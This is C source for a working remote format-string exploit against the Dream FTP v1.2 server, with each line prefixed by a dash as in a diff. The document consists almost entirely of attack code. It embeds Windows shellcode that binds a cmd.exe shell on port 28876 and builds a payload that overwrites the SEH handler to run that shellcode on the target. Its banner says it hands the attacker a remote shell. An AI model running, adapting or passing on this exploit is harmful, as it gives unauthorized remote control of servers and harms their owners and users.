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- #include <stdio.h>
- #include <sys/types.h>
- #include <sys/socket.h>
- #include <netinet/in.h>
-
- // WIN NT/2K/XP cmd.exe shellcode
- // kernel32.dll baseaddress calculation: OS/SP-independent
- // string-save: 00, 0a and 0d free.
- // portbinding: port 28876
- // looping: reconnect after disconnect
- char* shellcode =
- "\xeb\x43\x56\x57\x8b\x45\x3c\x8b\x54\x05\x78\x01\xea\x52\x8b\x52"
- "\x20\x01\xea\x31\xc0\x31\xc9\x41\x8b\x34\x8a\x01\xee\x31\xff\xc1"
- "\xcf\x13\xac\x01\xc7\x85\xc0\x75\xf6\x39\xdf\x75\xea\x5a\x8b\x5a"
- "\x24\x01\xeb\x66\x8b\x0c\x4b\x8b\x5a\x1c\x01\xeb\x8b\x04\x8b\x01"
- "\xe8\x5f\x5e\xff\xe0\xfc\x31\xc0\x64\x8b\x40\x30\x8b\x40\x0c\x8b"
- "\x70\x1c\xad\x8b\x68\x08\x31\xc0\x66\xb8\x6c\x6c\x50\x68\x33\x32"
- "\x2e\x64\x68\x77\x73\x32\x5f\x54\xbb\x71\xa7\xe8\xfe\xe8\x90\xff"
- "\xff\xff\x89\xef\x89\xc5\x81\xc4\x70\xfe\xff\xff\x54\x31\xc0\xfe"
- "\xc4\x40\x50\xbb\x22\x7d\xab\x7d\xe8\x75\xff\xff\xff\x31\xc0\x50"
- "\x50\x50\x50\x40\x50\x40\x50\xbb\xa6\x55\x34\x79\xe8\x61\xff\xff"
- "\xff\x89\xc6\x31\xc0\x50\x50\x35\x02\x01\x70\xcc\xfe\xcc\x50\x89"
- "\xe0\x50\x6a\x10\x50\x56\xbb\x81\xb4\x2c\xbe\xe8\x42\xff\xff\xff"
- "\x31\xc0\x50\x56\xbb\xd3\xfa\x58\x9b\xe8\x34\xff\xff\xff\x58\x60"
- "\x6a\x10\x54\x50\x56\xbb\x47\xf3\x56\xc6\xe8\x23\xff\xff\xff\x89"
- "\xc6\x31\xdb\x53\x68\x2e\x63\x6d\x64\x89\xe1\x41\x31\xdb\x56\x56"
- "\x56\x53\x53\x31\xc0\xfe\xc4\x40\x50\x53\x53\x53\x53\x53\x53\x53"
- "\x53\x53\x53\x6a\x44\x89\xe0\x53\x53\x53\x53\x54\x50\x53\x53\x53"
- "\x43\x53\x4b\x53\x53\x51\x53\x87\xfd\xbb\x21\xd0\x05\xd0\xe8\xdf"
- "\xfe\xff\xff\x5b\x31\xc0\x48\x50\x53\xbb\x43\xcb\x8d\x5f\xe8\xcf"
- "\xfe\xff\xff\x56\x87\xef\xbb\x12\x6b\x6d\xd0\xe8\xc2\xfe\xff\xff"
- "\x83\xc4\x5c\x61\xeb\x89";
-
- int main(int argc, char *argv[], char *envp[]) {
- int sock;
- FILE* FILEsock;
- struct sockaddr_in addr;
- int port = 21;
- char buffer[1024];
-
- if (argc<2 || argc>3) {
- printf("Usage: %s IP [PORT]\n", argv[0]);
- exit(-1);
- }
- if (argc == 3) port = atoi(argv[2]);
-
- printf("- Nightmare --------------------------------------------------\n"
- " Dream FTP v1.2 formatstring exploit.\n"
- " Written by SkyLined <SkyLined@EduP.TUDelft.nl>.\n"
- " Credits for the vulnerability go to badpack3t\n"
- " <badpack3t@security-protocols.com>.\n"
- " Shellcode based on work by H D Moore (www.metasploit.com).\n"
- " Greets to everyone at 0dd and #netric.\n"
- " (K)(L)(F) for Suzan.\n"
- "\n"
- " Binds a shell at %s:28876 if successfull.\n"
- " Tested with: WIN2KEN/Dream FTP v1.2 (1.02/TryFTP 1.0.0.1)\n"
- "--------------------------------------------------------------\n",
- argv[1]);
-
- addr.sin_family = AF_INET;
- addr.sin_port = htons(port);
- addr.sin_addr.s_addr = inet_addr(argv[1]);
-
- if ((sock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) == -1 ||
- connect(sock, (struct sockaddr *)&addr, sizeof addr) == -1 ||
- (FILEsock = fdopen(sock, "r+")) == NULL) {
- fprintf(stderr, "\n[-] Connection to %s:%d failed: ", argv[1], port);
- perror(NULL);
- exit(-1);
- }
-
- printf("\n[+] Connected to %s:%d.\n", argv[1], port);
- do printf(" --> %s", fgets(buffer, sizeof buffer, FILEsock));
- while (strstr(buffer, "220-") == buffer);
-
- printf("\n[+] Sending exploit string...\n");
- fprintf(FILEsock,
- // Argument 10 points to the SEH handler code, it's RWE so we'll change
- // the SEH handler to redirect execution to the beginning of our
- // formatstring. When the SEH handler is called [ebx+0x3c] points
- // to the start of our formatstring, we just have to jump over the
- // formatstring exploit itself to our shellcode:
- "\xeb\x29" // Jump over the formatstring exploit
- "%%8x%%8x%%8x%%8x%%8x%%8x%%8x%%8x%%%dd%%n" // Argument 10 -> SEH
- "%%n" // Causes exception after SEH adjustment.
- "@@@@@@@@" // nopslide landing zone for jump
- "%s\r\n", // shellcode
- 0x3C63FF-0x4f, // New SEH code = 0x3C63FF (jmp *0x3c(%ebx) | jmp [EBX+0x3C])
- shellcode);
- fflush(FILEsock);
- close(sock);
- printf("\n[+] Done, allow a few seconds on a slow target before you can\n"
- " connect to %s:28876.\n", argv[1]);
- return 0;
- }
-